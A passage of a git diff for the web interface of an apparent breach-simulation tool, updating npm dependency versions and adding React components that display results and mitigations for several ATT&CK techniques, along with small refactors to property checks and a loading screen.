"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
|
||||||
|
@ -15086,6 +15037,21 @@
|
||||||
"source-map-support": "^0.5.7",
|
"source-map-support": "^0.5.7",
|
||||||
"tslib": "^1.9.3",
|
"tslib": "^1.9.3",
|
||||||
"uuid": "^3.3.2"
|
"uuid": "^3.3.2"
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"event-loop-spinner": {
|
||||||
|
"version": "1.1.0",
|
||||||
|
"resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-1.1.0.tgz",
|
||||||
|
"integrity": "sha512-YVFs6dPpZIgH665kKckDktEVvSBccSYJmoZUfhNUdv5d3Xv+Q+SKF4Xis1jolq9aBzuW1ZZhQh/m/zU/TPdDhw==",
|
||||||
|
"requires": {
|
||||||
|
"tslib": "^1.10.0"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"uuid": {
|
||||||
|
"version": "3.4.0",
|
||||||
|
"resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz",
|
||||||
|
"integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A=="
|
||||||
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"tmp": {
|
"tmp": {
|
||||||
|
@ -15095,6 +15061,11 @@
|
||||||
"requires": {
|
"requires": {
|
||||||
"rimraf": "^3.0.0"
|
"rimraf": "^3.0.0"
|
||||||
}
|
}
|
||||||
|
},
|
||||||
|
"uuid": {
|
||||||
|
"version": "8.3.0",
|
||||||
|
"resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.0.tgz",
|
||||||
|
"integrity": "sha512-fX6Z5o4m6XsXBdli9g7DtWgAx+osMsRRZFKma1mIUsLCz6vRvv+pz5VNbyu9UEDzpMWulZfvpgb/cmDXVulYFQ=="
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
@ -15213,6 +15184,43 @@
|
||||||
"tslib": "^2.0.0"
|
"tslib": "^2.0.0"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
|
"@snyk/cli-interface": {
|
||||||
|
"version": "2.8.0",
|
||||||
|
"resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.8.0.tgz",
|
||||||
|
"integrity": "sha512-St/G39iJG1zQK15L24kcVYM2gmFc/ylBCcBqU2DMZKJKwOPccKLUO6s+dWIUXMccQ+DFS6TuHPvuAKQNi9C4Yg==",
|
||||||
|
"requires": {
|
||||||
|
"@snyk/dep-graph": "1.19.0",
|
||||||
|
"@snyk/graphlib": "2.1.9-patch",
|
||||||
|
"tslib": "^1.9.3"
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"@snyk/dep-graph": {
|
||||||
|
"version": "1.19.0",
|
||||||
|
"resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.19.0.tgz",
|
||||||
|
"integrity": "sha512-/0phOICMk4hkX2KtZgi+4KNd5G9oYDIlxQDQk+ui2xl4gonPvK6Q5MFzHP7Xet1YY/XoU33ox41i+IO48qZ+zQ==",
|
||||||
|
"requires": {
|
||||||
|
"@snyk/graphlib": "2.1.9-patch",
|
||||||
|
"lodash.isequal": "^4.5.0",
|
||||||
|
"object-hash": "^2.0.3",
|
||||||
|
"semver": "^6.0.0",
|
||||||
|
"source-map-support": "^0.5.19",
|
||||||
|
"tslib": "^2.0.0"
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"tslib": {
|
||||||
|
"version": "2.0.1",
|
||||||
|
"resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz",
|
||||||
|
"integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ=="
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"tslib": {
|
||||||
|
"version": "1.13.0",
|
||||||
|
"resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz",
|
||||||
|
"integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q=="
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
"ansi-styles": {
|
"ansi-styles": {
|
||||||
"version": "4.2.1",
|
"version": "4.2.1",
|
||||||
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz",
|
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz",
|
||||||
|
@ -15270,10 +15278,15 @@
|
||||||
"glob": "^7.1.3"
|
"glob": "^7.1.3"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"semver": {
|
||||||
|
"version": "6.3.0",
|
||||||
|
"resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
|
||||||
|
"integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
|
||||||
|
},
|
||||||
"supports-color": {
|
"supports-color": {
|
||||||
"version": "7.1.0",
|
"version": "7.2.0",
|
||||||
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
|
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
|
||||||
"integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
|
"integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"has-flag": "^4.0.0"
|
"has-flag": "^4.0.0"
|
||||||
}
|
}
|
||||||
|
@ -15339,26 +15352,18 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"snyk-mvn-plugin": {
|
"snyk-mvn-plugin": {
|
||||||
"version": "2.17.1",
|
"version": "2.19.1",
|
||||||
"resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.17.1.tgz",
|
"resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.19.1.tgz",
|
||||||
"integrity": "sha512-U7ZKrKVnUW2gcyYIzvc0w9nRYh4NXv+wShTIcs++ARCAJOG9A4nxh+ZRmINQ7Sy7EB2qLIRwN4Ssr17+y2mhuA==",
|
"integrity": "sha512-VXYJSdhUmOQAyxdsv5frAKbi3UOcHPabWEQxQ9wxhVBEEmx2lP5ajv1a+ntxwWwL7u3jdc+rnCIKHpLlQJ5nyw==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"@snyk/cli-interface": "2.5.0",
|
"@snyk/cli-interface": "2.8.1",
|
||||||
"@snyk/java-call-graph-builder": "1.10.0",
|
"@snyk/java-call-graph-builder": "1.13.1",
|
||||||
"debug": "^4.1.1",
|
"debug": "^4.1.1",
|
||||||
"needle": "^2.5.0",
|
"needle": "^2.5.0",
|
||||||
"tmp": "^0.1.0",
|
"tmp": "^0.1.0",
|
||||||
"tslib": "1.11.1"
|
"tslib": "1.11.1"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@snyk/cli-interface": {
|
|
||||||
"version": "2.5.0",
|
|
||||||
"resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.5.0.tgz",
|
|
||||||
"integrity": "sha512-XMc2SCFH4RBSncZgoPb+BBlNq0NYpEpCzptKi69qyMpBy0VsRqIQqddedaazMCU1xEpXTytq6KMYpzUafZzp5Q==",
|
|
||||||
"requires": {
|
|
||||||
"tslib": "^1.9.3"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"debug": {
|
"debug": {
|
||||||
"version": "4.1.1",
|
"version": "4.1.1",
|
||||||
"resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
|
"resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
|
||||||
|
@ -15407,16 +15412,6 @@
|
||||||
"tslib": "^1.9.3",
|
"tslib": "^1.9.3",
|
||||||
"uuid": "^3.3.2",
|
"uuid": "^3.3.2",
|
||||||
"yaml": "^1.9.2"
|
"yaml": "^1.9.2"
|
||||||
},
|
|
||||||
"dependencies": {
|
|
||||||
"event-loop-spinner": {
|
|
||||||
"version": "2.0.0",
|
|
||||||
"resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-2.0.0.tgz",
|
|
||||||
"integrity": "sha512-1y4j/Mhttr8ordvHkbDsGzGrlQaSYJoXD/3YKUxiOXIk7myEn9UPfybEk/lLtrcU3D4QvCNmVUxVQaPtvAIaUw==",
|
|
||||||
"requires": {
|
|
||||||
"tslib": "^1.10.0"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"snyk-nuget-plugin": {
|
"snyk-nuget-plugin": {
|
||||||
|
@ -16821,9 +16816,9 @@
|
||||||
"integrity": "sha512-a6sumDlzyHVJWb8+YofY4TW112G6p2FCPEAFk+59gIYHv3XHRhm9ltVQ9kli4hNWeQBwSpe8cRN25x0ROunMOw=="
|
"integrity": "sha512-a6sumDlzyHVJWb8+YofY4TW112G6p2FCPEAFk+59gIYHv3XHRhm9ltVQ9kli4hNWeQBwSpe8cRN25x0ROunMOw=="
|
||||||
},
|
},
|
||||||
"terser": {
|
"terser": {
|
||||||
"version": "4.6.13",
|
"version": "4.8.0",
|
||||||
"resolved": "https://registry.npmjs.org/terser/-/terser-4.6.13.tgz",
|
"resolved": "https://registry.npmjs.org/terser/-/terser-4.8.0.tgz",
|
||||||
"integrity": "sha512-wMvqukYgVpQlymbnNbabVZbtM6PN63AzqexpwJL8tbh/mRT9LE5o+ruVduAGL7D6Fpjl+Q+06U5I9Ul82odAhw==",
|
"integrity": "sha512-EAPipTNeWsb/3wLPeup1tVPaXfIaU68xMnVdPafIL1TV05OhASArYyIfFvnvJCNrR2NIOvDVNNTFRa+Re2MWyw==",
|
||||||
"dev": true,
|
"dev": true,
|
||||||
"requires": {
|
"requires": {
|
||||||
"commander": "^2.20.0",
|
"commander": "^2.20.0",
|
||||||
|
@ -16840,16 +16835,16 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"terser-webpack-plugin": {
|
"terser-webpack-plugin": {
|
||||||
"version": "1.4.3",
|
"version": "1.4.5",
|
||||||
"resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.3.tgz",
|
"resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.5.tgz",
|
||||||
"integrity": "sha512-QMxecFz/gHQwteWwSo5nTc6UaICqN1bMedC5sMtUc7y3Ha3Q8y6ZO0iCR8pq4RJC8Hjf0FEPEHZqcMB/+DFCrA==",
|
"integrity": "sha512-04Rfe496lN8EYruwi6oPQkG0vo8C+HT49X687FZnpPF0qMAIHONI6HEXYPKDOE8e5HjXTyKfqRd/agHtH0kOtw==",
|
||||||
"dev": true,
|
"dev": true,
|
||||||
"requires": {
|
"requires": {
|
||||||
"cacache": "^12.0.2",
|
"cacache": "^12.0.2",
|
||||||
"find-cache-dir": "^2.1.0",
|
"find-cache-dir": "^2.1.0",
|
||||||
"is-wsl": "^1.1.0",
|
"is-wsl": "^1.1.0",
|
||||||
"schema-utils": "^1.0.0",
|
"schema-utils": "^1.0.0",
|
||||||
"serialize-javascript": "^2.1.2",
|
"serialize-javascript": "^4.0.0",
|
||||||
"source-map": "^0.6.1",
|
"source-map": "^0.6.1",
|
||||||
"terser": "^4.1.2",
|
"terser": "^4.1.2",
|
||||||
"webpack-sources": "^1.4.0",
|
"webpack-sources": "^1.4.0",
|
||||||
|
@ -17197,9 +17192,9 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"underscore": {
|
"underscore": {
|
||||||
"version": "1.10.2",
|
"version": "1.11.0",
|
||||||
"resolved": "https://registry.npmjs.org/underscore/-/underscore-1.10.2.tgz",
|
"resolved": "https://registry.npmjs.org/underscore/-/underscore-1.11.0.tgz",
|
||||||
"integrity": "sha512-N4P+Q/BuyuEKFJ43B9gYuOj4TQUHXX+j2FqguVOpjkssLUUrnJofCcBccJSCoeturDoZU6GorDTHSvUDlSQbTg=="
|
"integrity": "sha512-xY96SsN3NA461qIRKZ/+qox37YXPtSBswMGfiNptr+wrt6ds4HaMw23TP612fEyGekRE6LNRiLYr/aqbHXNedw=="
|
||||||
},
|
},
|
||||||
"unherit": {
|
"unherit": {
|
||||||
"version": "1.1.3",
|
"version": "1.1.3",
|
||||||
|
@ -17417,9 +17412,9 @@
|
||||||
"dev": true
|
"dev": true
|
||||||
},
|
},
|
||||||
"update-notifier": {
|
"update-notifier": {
|
||||||
"version": "4.1.0",
|
"version": "4.1.1",
|
||||||
"resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-4.1.0.tgz",
|
"resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-4.1.1.tgz",
|
||||||
"integrity": "sha512-w3doE1qtI0/ZmgeoDoARmI5fjDoT93IfKgEGqm26dGUOh8oNpaSTsGNdYRN/SjOuo10jcJGwkEL3mroKzktkew==",
|
"integrity": "sha512-9y+Kds0+LoLG6yN802wVXoIfxYEwh3FlZwzMwpCZp62S2i1/Jzeqb9Eeeju3NSHccGGasfGlK5/vEHbAifYRDg==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"boxen": "^4.2.0",
|
"boxen": "^4.2.0",
|
||||||
"chalk": "^3.0.0",
|
"chalk": "^3.0.0",
|
||||||
|
@ -17478,9 +17473,9 @@
|
||||||
"integrity": "sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM="
|
"integrity": "sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM="
|
||||||
},
|
},
|
||||||
"supports-color": {
|
"supports-color": {
|
||||||
"version": "7.1.0",
|
"version": "7.2.0",
|
||||||
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
|
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
|
||||||
"integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
|
"integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"has-flag": "^4.0.0"
|
"has-flag": "^4.0.0"
|
||||||
}
|
}
|
||||||
|
|
|
@ -65,14 +65,14 @@
|
||||||
"@fortawesome/free-solid-svg-icons": "^5.13.1",
|
"@fortawesome/free-solid-svg-icons": "^5.13.1",
|
||||||
"@fortawesome/react-fontawesome": "^0.1.11",
|
"@fortawesome/react-fontawesome": "^0.1.11",
|
||||||
"@kunukn/react-collapse": "^1.2.7",
|
"@kunukn/react-collapse": "^1.2.7",
|
||||||
"bootstrap": "^4.5.0",
|
"bootstrap": "^4.5.1",
|
||||||
"classnames": "^2.2.6",
|
"classnames": "^2.2.6",
|
||||||
"core-js": "^3.6.5",
|
"core-js": "^3.6.5",
|
||||||
"d3": "^5.14.1",
|
"d3": "^5.14.1",
|
||||||
"downloadjs": "^1.4.7",
|
"downloadjs": "^1.4.7",
|
||||||
"fetch": "^1.1.0",
|
"fetch": "^1.1.0",
|
||||||
"file-saver": "^2.0.2",
|
"file-saver": "^2.0.2",
|
||||||
"filepond": "^4.18.0",
|
"filepond": "^4.19.2",
|
||||||
"jwt-decode": "^2.2.0",
|
"jwt-decode": "^2.2.0",
|
||||||
"lodash": "^4.17.20",
|
"lodash": "^4.17.20",
|
||||||
"marked": "^1.1.1",
|
"marked": "^1.1.1",
|
||||||
|
@ -94,7 +94,7 @@
|
||||||
"react-filepond": "^7.0.1",
|
"react-filepond": "^7.0.1",
|
||||||
"react-graph-vis": "^1.0.5",
|
"react-graph-vis": "^1.0.5",
|
||||||
"react-hot-loader": "^4.12.20",
|
"react-hot-loader": "^4.12.20",
|
||||||
"react-json-tree": "^0.11.2",
|
"react-json-tree": "^0.12.0",
|
||||||
"react-jsonschema-form-bs4": "^1.7.1",
|
"react-jsonschema-form-bs4": "^1.7.1",
|
||||||
"react-particles-js": "^3.3.0",
|
"react-particles-js": "^3.3.0",
|
||||||
"react-redux": "^5.1.2",
|
"react-redux": "^5.1.2",
|
||||||
|
@ -105,7 +105,7 @@
|
||||||
"react-tooltip-lite": "^1.12.0",
|
"react-tooltip-lite": "^1.12.0",
|
||||||
"redux": "^4.0.4",
|
"redux": "^4.0.4",
|
||||||
"sha3": "^2.1.3",
|
"sha3": "^2.1.3",
|
||||||
"snyk": "^1.363.0"
|
"snyk": "^1.372.0"
|
||||||
},
|
},
|
||||||
"snyk": true
|
"snyk": true
|
||||||
}
|
}
|
||||||
|
|
|
@ -24,6 +24,7 @@ import 'react-toggle/style.css';
|
||||||
import 'react-table/react-table.css';
|
import 'react-table/react-table.css';
|
||||||
import notificationIcon from '../images/notification-logo-512x512.png';
|
import notificationIcon from '../images/notification-logo-512x512.png';
|
||||||
import {StandardLayoutComponent} from './layouts/StandardLayoutComponent';
|
import {StandardLayoutComponent} from './layouts/StandardLayoutComponent';
|
||||||
|
import LoadingScreen from './ui-components/LoadingScreen';
|
||||||
|
|
||||||
const reportZeroTrustRoute = '/report/zeroTrust';
|
const reportZeroTrustRoute = '/report/zeroTrust';
|
||||||
|
|
||||||
|
@ -82,10 +83,10 @@ class AppComponent extends AuthComponent {
|
||||||
case false:
|
case false:
|
||||||
return <Redirect to={{pathname: '/login'}}/>;
|
return <Redirect to={{pathname: '/login'}}/>;
|
||||||
default:
|
default:
|
||||||
return page_component;
|
return <LoadingScreen text={'Loading page...'}/>;
|
||||||
}
|
}
|
||||||
default:
|
default:
|
||||||
return page_component;
|
return <LoadingScreen text={'Loading page...'}/>;
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,45 @@
|
||||||
|
import React from 'react';
|
||||||
|
import ReactTable from 'react-table';
|
||||||
|
import {renderMachineFromSystemData, ScanStatus} from './Helpers';
|
||||||
|
import MitigationsComponent from './MitigationsComponent';
|
||||||
|
|
||||||
|
class T1087 extends React.Component {
|
||||||
|
|
||||||
|
constructor(props) {
|
||||||
|
super(props);
|
||||||
|
}
|
||||||
|
|
||||||
|
static getColumns() {
|
||||||
|
return ([{
|
||||||
|
columns: [
|
||||||
|
{ Header: 'Machine',
|
||||||
|
id: 'machine',
|
||||||
|
accessor: x => renderMachineFromSystemData(x.machine),
|
||||||
|
style: {'whiteSpace': 'unset'}},
|
||||||
|
{ Header: 'Result',
|
||||||
|
id: 'result',
|
||||||
|
accessor: x => x.result,
|
||||||
|
style: {'whiteSpace': 'unset'}}
|
||||||
|
]
|
||||||
|
}])
|
||||||
|
}
|
||||||
|
|
||||||
|
render() {
|
||||||
|
return (
|
||||||
|
<div>
|
||||||
|
<div>{this.props.data.message}</div>
|
||||||
|
<br/>
|
||||||
|
{this.props.data.status === ScanStatus.USED ?
|
||||||
|
<ReactTable
|
||||||
|
columns={T1087.getColumns()}
|
||||||
|
data={this.props.data.info}
|
||||||
|
showPagination={false}
|
||||||
|
defaultPageSize={this.props.data.info.length}
|
||||||
|
/> : ''}
|
||||||
|
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export default T1087;
|
|
@ -0,0 +1,45 @@
|
||||||
|
import React from 'react';
|
||||||
|
import ReactTable from 'react-table';
|
||||||
|
import {renderMachineFromSystemData, ScanStatus} from './Helpers';
|
||||||
|
import MitigationsComponent from './MitigationsComponent';
|
||||||
|
|
||||||
|
class T1099 extends React.Component {
|
||||||
|
|
||||||
|
constructor(props) {
|
||||||
|
super(props);
|
||||||
|
}
|
||||||
|
|
||||||
|
static getColumns() {
|
||||||
|
return ([{
|
||||||
|
columns: [
|
||||||
|
{ Header: 'Machine',
|
||||||
|
id: 'machine',
|
||||||
|
accessor: x => renderMachineFromSystemData(x.machine),
|
||||||
|
style: {'whiteSpace': 'unset'}},
|
||||||
|
{ Header: 'Result',
|
||||||
|
id: 'result',
|
||||||
|
accessor: x => x.result,
|
||||||
|
style: {'whiteSpace': 'unset'}}
|
||||||
|
]
|
||||||
|
}])
|
||||||
|
}
|
||||||
|
|
||||||
|
render() {
|
||||||
|
return (
|
||||||
|
<div>
|
||||||
|
<div>{this.props.data.message}</div>
|
||||||
|
<br/>
|
||||||
|
{this.props.data.status === ScanStatus.USED ?
|
||||||
|
<ReactTable
|
||||||
|
columns={T1099.getColumns()}
|
||||||
|
data={this.props.data.info}
|
||||||
|
showPagination={false}
|
||||||
|
defaultPageSize={this.props.data.info.length}
|
||||||
|
/> : ''}
|
||||||
|
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export default T1099;
|
|
@ -0,0 +1,45 @@
|
||||||
|
import React from 'react';
|
||||||
|
import ReactTable from 'react-table';
|
||||||
|
import {renderMachineFromSystemData, ScanStatus} from './Helpers';
|
||||||
|
import MitigationsComponent from './MitigationsComponent';
|
||||||
|
|
||||||
|
class T1146 extends React.Component {
|
||||||
|
|
||||||
|
constructor(props) {
|
||||||
|
super(props);
|
||||||
|
}
|
||||||
|
|
||||||
|
static getColumns() {
|
||||||
|
return ([{
|
||||||
|
columns: [
|
||||||
|
{ Header: 'Machine',
|
||||||
|
id: 'machine',
|
||||||
|
accessor: x => renderMachineFromSystemData(x.machine),
|
||||||
|
style: {'whiteSpace': 'unset'}},
|
||||||
|
{ Header: 'Result',
|
||||||
|
id: 'result',
|
||||||
|
accessor: x => x.result,
|
||||||
|
style: {'whiteSpace': 'unset'}}
|
||||||
|
]
|
||||||
|
}])
|
||||||
|
}
|
||||||
|
|
||||||
|
render() {
|
||||||
|
return (
|
||||||
|
<div>
|
||||||
|
<div>{this.props.data.message}</div>
|
||||||
|
<br/>
|
||||||
|
{this.props.data.status === ScanStatus.USED ?
|
||||||
|
<ReactTable
|
||||||
|
columns={T1146.getColumns()}
|
||||||
|
data={this.props.data.info}
|
||||||
|
showPagination={false}
|
||||||
|
defaultPageSize={this.props.data.info.length}
|
||||||
|
/> : ''}
|
||||||
|
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export default T1146;
|
|
@ -0,0 +1,45 @@
|
||||||
|
import React from 'react';
|
||||||
|
import ReactTable from 'react-table';
|
||||||
|
import {renderMachineFromSystemData, ScanStatus} from './Helpers';
|
||||||
|
import MitigationsComponent from './MitigationsComponent';
|
||||||
|
|
||||||
|
class T1216 extends React.Component {
|
||||||
|
|
||||||
|
constructor(props) {
|
||||||
|
super(props);
|
||||||
|
}
|
||||||
|
|
||||||
|
static getColumns() {
|
||||||
|
return ([{
|
||||||
|
columns: [
|
||||||
|
{ Header: 'Machine',
|
||||||
|
id: 'machine',
|
||||||
|
accessor: x => renderMachineFromSystemData(x.machine),
|
||||||
|
style: {'whiteSpace': 'unset'}},
|
||||||
|
{ Header: 'Result',
|
||||||
|
id: 'result',
|
||||||
|
accessor: x => x.result,
|
||||||
|
style: {'whiteSpace': 'unset'}}
|
||||||
|
]
|
||||||
|
}])
|
||||||
|
}
|
||||||
|
|
||||||
|
render() {
|
||||||
|
return (
|
||||||
|
<div>
|
||||||
|
<div>{this.props.data.message}</div>
|
||||||
|
<br/>
|
||||||
|
{this.props.data.status === ScanStatus.USED ?
|
||||||
|
<ReactTable
|
||||||
|
columns={T1216.getColumns()}
|
||||||
|
data={this.props.data.info}
|
||||||
|
showPagination={false}
|
||||||
|
defaultPageSize={this.props.data.info.length}
|
||||||
|
/> : ''}
|
||||||
|
<MitigationsComponent mitigations={this.props.data.mitigations}/>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export default T1216;
|
|
@ -274,9 +274,9 @@ class PreviewPaneComponent extends AuthComponent {
|
||||||
let label = '';
|
let label = '';
|
||||||
if (!this.props.item) {
|
if (!this.props.item) {
|
||||||
label = '';
|
label = '';
|
||||||
} else if (this.props.item.hasOwnProperty('label')) {
|
} else if (Object.prototype.hasOwnProperty.call(this.props.item, 'label')) {
|
||||||
label = this.props.item['label'];
|
label = this.props.item['label'];
|
||||||
} else if (this.props.item.hasOwnProperty('_label')) {
|
} else if (Object.prototype.hasOwnProperty.call(this.props.item, '_label')) {
|
||||||
label = this.props.item['_label'];
|
label = this.props.item['_label'];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -140,7 +140,7 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
// Change value in attack configuration
|
// Change value in attack configuration
|
||||||
// Go trough each column in matrix, searching for technique
|
// Go trough each column in matrix, searching for technique
|
||||||
Object.entries(this.state.attackConfig).forEach(techType => {
|
Object.entries(this.state.attackConfig).forEach(techType => {
|
||||||
if (techType[1].properties.hasOwnProperty(technique)) {
|
if (Object.prototype.hasOwnProperty.call(techType[1].properties, technique)) {
|
||||||
let tempMatrix = this.state.attackConfig;
|
let tempMatrix = this.state.attackConfig;
|
||||||
tempMatrix[techType[0]].properties[technique].value = value;
|
tempMatrix[techType[0]].properties[technique].value = value;
|
||||||
this.setState({attackConfig: tempMatrix});
|
this.setState({attackConfig: tempMatrix});
|
||||||
|
@ -151,7 +151,8 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
Object.entries(this.state.attackConfig).forEach(otherType => {
|
Object.entries(this.state.attackConfig).forEach(otherType => {
|
||||||
Object.entries(otherType[1].properties).forEach(otherTech => {
|
Object.entries(otherType[1].properties).forEach(otherTech => {
|
||||||
// If this technique depends on a technique that was changed
|
// If this technique depends on a technique that was changed
|
||||||
if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)) {
|
if (Object.prototype.hasOwnProperty.call(otherTech[1], 'depends_on') &&
|
||||||
|
otherTech[1]['depends_on'].includes(technique)) {
|
||||||
this.attackTechniqueChange(otherTech[0], value, true)
|
this.attackTechniqueChange(otherTech[0], value, true)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
@ -393,7 +394,7 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
let displayedSchema = {};
|
let displayedSchema = {};
|
||||||
if (this.state.schema.hasOwnProperty('properties') && this.state.selectedSection !== 'attack') {
|
if (Object.prototype.hasOwnProperty.call(this.state.schema, 'properties') && this.state.selectedSection !== 'attack') {
|
||||||
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
|
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
|
||||||
displayedSchema['definitions'] = this.state.schema['definitions'];
|
displayedSchema['definitions'] = this.state.schema['definitions'];
|
||||||
}
|
}
|
||||||
|
|
|
@ -2,9 +2,8 @@ import React from 'react';
|
||||||
import {Button, Col, Container, Form, Row} from 'react-bootstrap';
|
import {Button, Col, Container, Form, Row} from 'react-bootstrap';
|
||||||
|
|
||||||
import AuthService from '../../services/AuthService';
|
import AuthService from '../../services/AuthService';
|
||||||
import Particles from 'react-particles-js';
|
|
||||||
import {particleParams} from '../../styles/components/particle-component/AuthPageParams';
|
|
||||||
import monkeyGeneral from '../../images/militant-monkey.svg';
|
import monkeyGeneral from '../../images/militant-monkey.svg';
|
||||||
|
import ParticleBackground from '../ui-components/ParticleBackground';
|
||||||
|
|
||||||
class LoginPageComponent extends React.Component {
|
class LoginPageComponent extends React.Component {
|
||||||
login = (event) => {
|
login = (event) => {
|
||||||
|
@ -60,7 +59,7 @@ class LoginPageComponent extends React.Component {
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
<Container fluid className={'auth-container'}>
|
<Container fluid className={'auth-container'}>
|
||||||
<Particles className={'particle-background'} params={particleParams}/>
|
<ParticleBackground/>
|
||||||
<Row>
|
<Row>
|
||||||
<Col xs={12} lg={{span: 6, offset: 3}} md={{span: 7, offset: 3}} className={'auth-block'}>
|
<Col xs={12} lg={{span: 6, offset: 3}} md={{span: 7, offset: 3}} className={'auth-block'}>
|
||||||
<Row>
|
<Row>
|
||||||
|
|
|
@ -64,7 +64,7 @@ class MapPageComponent extends AuthComponent {
|
||||||
this.authFetch('/api/netmap')
|
this.authFetch('/api/netmap')
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
.then(res => {
|
.then(res => {
|
||||||
if (res.hasOwnProperty('edges')) {
|
if (Object.prototype.hasOwnProperty.call(res, 'edges')) {
|
||||||
res.edges.forEach(edge => {
|
res.edges.forEach(edge => {
|
||||||
edge.color = {'color': edgeGroupToColor(edge.group)};
|
edge.color = {'color': edgeGroupToColor(edge.group)};
|
||||||
});
|
});
|
||||||
|
|
|
@ -1,10 +1,9 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import {Row, Col, Container, Form, Button} from 'react-bootstrap';
|
import {Row, Col, Container, Form, Button} from 'react-bootstrap';
|
||||||
